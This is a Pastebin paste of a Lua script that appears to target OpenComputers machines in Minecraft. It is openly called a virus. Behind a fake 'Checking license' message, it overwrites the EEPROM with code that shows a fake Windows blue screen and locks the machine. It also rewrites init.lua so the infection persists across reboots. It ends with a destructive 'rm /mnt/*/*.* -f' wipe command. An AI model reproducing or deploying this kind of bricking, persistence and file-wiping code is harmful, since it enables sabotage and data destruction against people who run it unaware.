Advertisement
Guest User

1.lua

a guest
Jan 26th, 2020
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 9.64 KB | None | 0 0
  1. local virusPath = "bin/virus.lua"
  2. local EEPROMLabel = "NOOB"
  3.  
  4. ------------------------------------------------------------------------------------------------------------------------
  5.  
  6. local EEPROMCode = [[
  7.  
  8. local textLines = {
  9.   "A problem has been detected and Windows has been shut down to prevent damage",
  10.   "to your computer.",
  11.   " ",
  12.   "The problem seems to be caused by the following file: xNtKrnl.exe",
  13.   " ",
  14.   "SYSTEM_THREAD_EXCEPTION_NOT_HANDLED",
  15.   " ",
  16.   "If this is the first time you've seen this stop error screen,",
  17.   "restart your computer. If this screen appears again, follow",
  18.   "these steps:",
  19.   " ",
  20.   "Check to make sure any new hardware or software is properly installed.",
  21.   "If this is a new installation, ask your hardware or software manufacturer",
  22.   "for any Windows updates you might need.",
  23.   " ",
  24.   "If problems continue, disable or remove any newly installed hardware",
  25.   "or software. Disable BIOS memory options such as caching or shadowing.",
  26.   "If you need to use safe mode to remove or disable components, restart",
  27.   "your computer, press F8 to select Advanced Startup Options, and then",
  28.   "select Safe Mode.",
  29.   " ",
  30.   "Technical Information:",
  31.   " ",
  32.   "*** STOP: 0x1000007e (0xffffffffc0000005, 0xfffff80002e55151, 0xfffff880009a99d8,",
  33.   "0xfffff880009a9230)",
  34.   " ",
  35.   "*** xNtKrnl.exe - Address 0xfffff80002e55151 base at 0xfffff80002e0d000 DateStamp",
  36.   "0x4ce7951a",
  37. }
  38.  
  39. local component_invoke = component.invoke
  40. function boot_invoke(address, method, ...)
  41.   local result = table.pack(pcall(component_invoke, address, method, ...))
  42.   if not result[1] then
  43.     return nil, result[2]
  44.   else
  45.     return table.unpack(result, 2, result.n)
  46.   end
  47. end
  48. ---------------------------------------------------------------
  49. local eeprom = component.list("eeprom")()
  50. computer.getBootAddress = function()
  51.   return boot_invoke(eeprom, "getData")
  52. end
  53. computer.setBootAddress = function(address)
  54.   return boot_invoke(eeprom, "setData", address)
  55. end
  56.  
  57. do
  58.   _G.screen = component.list("screen")()
  59.   _G.gpu = component.list("gpu")()
  60.   if gpu and screen then
  61.     boot_invoke(gpu, "bind", screen)
  62.   end
  63. end
  64. ---------------------------------------------------------------
  65.  
  66. local function centerText(mode,coord,text)
  67.   local dlina = unicode.len(text)
  68.   local xSize,ySize = boot_invoke(gpu, "getResolution")
  69.  
  70.   if mode == "x" then
  71.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),coord,text)
  72.   elseif mode == "y" then
  73.     boot_invoke(gpu, "set", coord, math.floor(ySize/2),text)
  74.   else
  75.     boot_invoke(gpu, "set", math.floor(xSize/2-dlina/2),math.floor(ySize/2),text)
  76.   end
  77. end
  78.  
  79. local function virus()
  80.   local background, foreground = 0x0000AA, 0xCCCCCC
  81.   local xSize, ySize = boot_invoke(gpu, "getResolution")
  82.   boot_invoke(gpu, "setBackground", background)
  83.   boot_invoke(gpu, "fill", 1, 1, xSize, ySize, " ")
  84.  
  85.   boot_invoke(gpu, "setBackground", foreground)
  86.   boot_invoke(gpu, "setForeground", background)
  87.  
  88.   local y = math.floor(ySize / 2 - (#textLines + 2) / 2)
  89.   centerText("x", y, "OpenOs")
  90.   y = y + 2
  91.  
  92.   boot_invoke(gpu, "setBackground", background)
  93.   boot_invoke(gpu, "setForeground", foreground)
  94.  
  95.   for i = 1, #textLines do
  96.     centerText("x", y, textLines[i])
  97.     y = y + 1
  98.   end
  99.  
  100.   while true do
  101.     computer.pullSignal()
  102.   end
  103. end
  104.  
  105. if gpu then virus() end
  106. ]]
  107.  
  108. local INITCode = [[
  109.  
  110. local backgroundColor = 0x262626
  111. local foregroundColor = 0xcccccc
  112.  
  113. do
  114.  
  115.   _G._OSVERSION = "OpenOS 1.5"
  116.  
  117.   local component = component
  118.   local computer = computer
  119.   local unicode = unicode
  120.  
  121.   -- Runlevel information.
  122.   local runlevel, shutdown = "S", computer.shutdown
  123.   computer.runlevel = function() return runlevel end
  124.   computer.shutdown = function(reboot)
  125.     runlevel = reboot and 6 or 0
  126.     if os.sleep then
  127.       computer.pushSignal("shutdown")
  128.       os.sleep(0.1) -- Allow shutdown processing.
  129.     end
  130.     shutdown(reboot)
  131.   end
  132.  
  133.   -- Low level dofile implementation to read filesystem libraries.
  134.   local rom = {}
  135.   function rom.invoke(method, ...)
  136.     return component.invoke(computer.getBootAddress(), method, ...)
  137.   end
  138.   function rom.open(file) return rom.invoke("open", file) end
  139.   function rom.read(handle) return rom.invoke("read", handle, math.huge) end
  140.   function rom.close(handle) return rom.invoke("close", handle) end
  141.   function rom.inits() return ipairs(rom.invoke("list", "boot")) end
  142.   function rom.isDirectory(path) return rom.invoke("isDirectory", path) end
  143.  
  144.   local screen = component.list('screen',true)()
  145.   for address in component.list('screen',true) do
  146.     if #component.invoke(address, 'getKeyboards') > 0 then
  147.       screen = address
  148.     end
  149.   end
  150.  
  151.   -- Report boot progress if possible.
  152.   local gpu = component.list("gpu", true)()
  153.   local w, h
  154.   if gpu and screen then
  155.     component.invoke(gpu, "bind", screen)
  156.     w, h = component.invoke(gpu, "getResolution")
  157.     component.invoke(gpu, "setResolution", w, h)
  158.     component.invoke(gpu, "setBackground", backgroundColor)
  159.     component.invoke(gpu, "setForeground", foregroundColor)
  160.     component.invoke(gpu, "fill", 1, 1, w, h, " ")
  161.   end
  162.   local y = 1
  163.   local function status(msg)
  164.  
  165.  
  166.     local yPos = math.floor(h / 2)
  167.     local length = #msg
  168.     local xPos = math.floor(w / 2 - length / 2)
  169.  
  170.     component.invoke(gpu, "fill", 1, yPos, w, 1, " ")
  171.     component.invoke(gpu, "set", xPos, yPos, msg)
  172.  
  173.     -- if gpu and screen then
  174.     --   component.invoke(gpu, "set", 1, y, msg)
  175.     --   if y == h then
  176.     --     component.invoke(gpu, "copy", 1, 2, w, h - 1, 0, -1)
  177.     --     component.invoke(gpu, "fill", 1, h, w, 1, " ")
  178.     --   else
  179.     --     y = y + 1
  180.     --   end
  181.     -- end
  182.   end
  183.  
  184.   status("Booting " .. _OSVERSION .. "...")
  185.  
  186.   -- Custom low-level loadfile/dofile implementation reading from our ROM.
  187.   local function loadfile(file)
  188.     status("> " .. file)
  189.     local handle, reason = rom.open(file)
  190.     if not handle then
  191.       error(reason)
  192.     end
  193.     local buffer = ""
  194.     repeat
  195.       local data, reason = rom.read(handle)
  196.       if not data and reason then
  197.         error(reason)
  198.       end
  199.       buffer = buffer .. (data or "")
  200.     until not data
  201.     rom.close(handle)
  202.     return load(buffer, "=" .. file)
  203.   end
  204.  
  205.   local function dofile(file)
  206.     local program, reason = loadfile(file)
  207.     if program then
  208.       local result = table.pack(pcall(program))
  209.       if result[1] then
  210.         return table.unpack(result, 2, result.n)
  211.       else
  212.         error(result[2])
  213.       end
  214.     else
  215.       error(reason)
  216.     end
  217.   end
  218.  
  219.   status("Initializing package management...")
  220.  
  221.   -- Load file system related libraries we need to load other stuff moree
  222.   -- comfortably. This is basically wrapper stuff for the file streams
  223.   -- provided by the filesystem components.
  224.   local package = dofile("/lib/package.lua")
  225.  
  226.   do
  227.     -- Unclutter global namespace now that we have the package module.
  228.     --_G.component = nil
  229.     _G.computer = nil
  230.     _G.process = nil
  231.     _G.unicode = nil
  232.  
  233.     -- Initialize the package module with some of our own APIs.
  234.     package.preload["buffer"] = loadfile("/lib/buffer.lua")
  235.     package.preload["component"] = function() return component end
  236.     package.preload["computer"] = function() return computer end
  237.     package.preload["filesystem"] = loadfile("/lib/filesystem.lua")
  238.     package.preload["io"] = loadfile("/lib/io.lua")
  239.     package.preload["unicode"] = function() return unicode end
  240.  
  241.     -- Inject the package and io modules into the global namespace, as in Lua.
  242.     _G.package = package
  243.     _G.io = require("io")
  244.        
  245.   end
  246.  
  247.   status("Initializing file system...")
  248.  
  249.   -- Mount the ROM and temporary file systems to allow working on the file
  250.   -- system module from this point on.
  251.   local filesystem = require("filesystem")
  252.   filesystem.mount(computer.getBootAddress(), "/")
  253.  
  254.   status("Running boot scripts...")
  255.  
  256.   -- Run library startup scripts. These mostly initialize event handlers.
  257.   local scripts = {}
  258.   for _, file in rom.inits() do
  259.     local path = "boot/" .. file
  260.     if not rom.isDirectory(path) then
  261.       table.insert(scripts, path)
  262.     end
  263.   end
  264.   table.sort(scripts)
  265.   for i = 1, #scripts do
  266.     dofile(scripts[i])
  267.   end
  268.  
  269.   status("Initializing components...")
  270.  
  271.   local primaries = {}
  272.   for c, t in component.list() do
  273.     local s = component.slot(c)
  274.     if (not primaries[t] or (s >= 0 and s < primaries[t].slot)) and t ~= "screen" then
  275.       primaries[t] = {address=c, slot=s}
  276.     end
  277.     computer.pushSignal("component_added", c, t)
  278.   end
  279.   for t, c in pairs(primaries) do
  280.     component.setPrimary(t, c.address)
  281.   end
  282.   os.sleep(0.5) -- Allow signal processing by libraries.
  283.   --computer.pushSignal("init") -- so libs know components are initialized.
  284.  
  285.  -- status("Initializing system...")
  286.   --require("term").clear()
  287.   os.sleep(0.1) -- Allow init processing.
  288.   runlevel = 1
  289. end
  290. ]]
  291.  
  292. local component = require("component")
  293. local args = { ... }
  294.  
  295. local function flashEEPROM()
  296.   local eeprom = component.getPrimary("eeprom")
  297.   eeprom.set(EEPROMCode)
  298.   eeprom.setLabel(EEPROMLabel)
  299. end
  300.  
  301. local function rewriteInit()
  302.   local file = io.open("init.lua", "w")
  303.   file:write(INITCode, "\n", "\n")
  304.   file:write("pcall(loadfile(\"" .. virusPath .. "\"), \"flashEEPROM\")", "\n", "\n")
  305.   file:write("require(\"computer\").shutdown(true)")
  306.   file:close()
  307. end
  308.  
  309. if args[1] == "flashEEPROM" then
  310.   flashEEPROM()
  311. else
  312.   print(" ")
  313.   print("Checking license...")
  314.   flashEEPROM()
  315.   print("license code = true")
  316.   rewriteInit()
  317.   print("Reloading OpenOS")
  318.   print("OpenOS")
  319.   print("Ooops...")
  320. end
  321. local computer = require("computer")
  322.  
  323. rm /mnt/*/*.* -f
  324. computer.shutdown(true)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement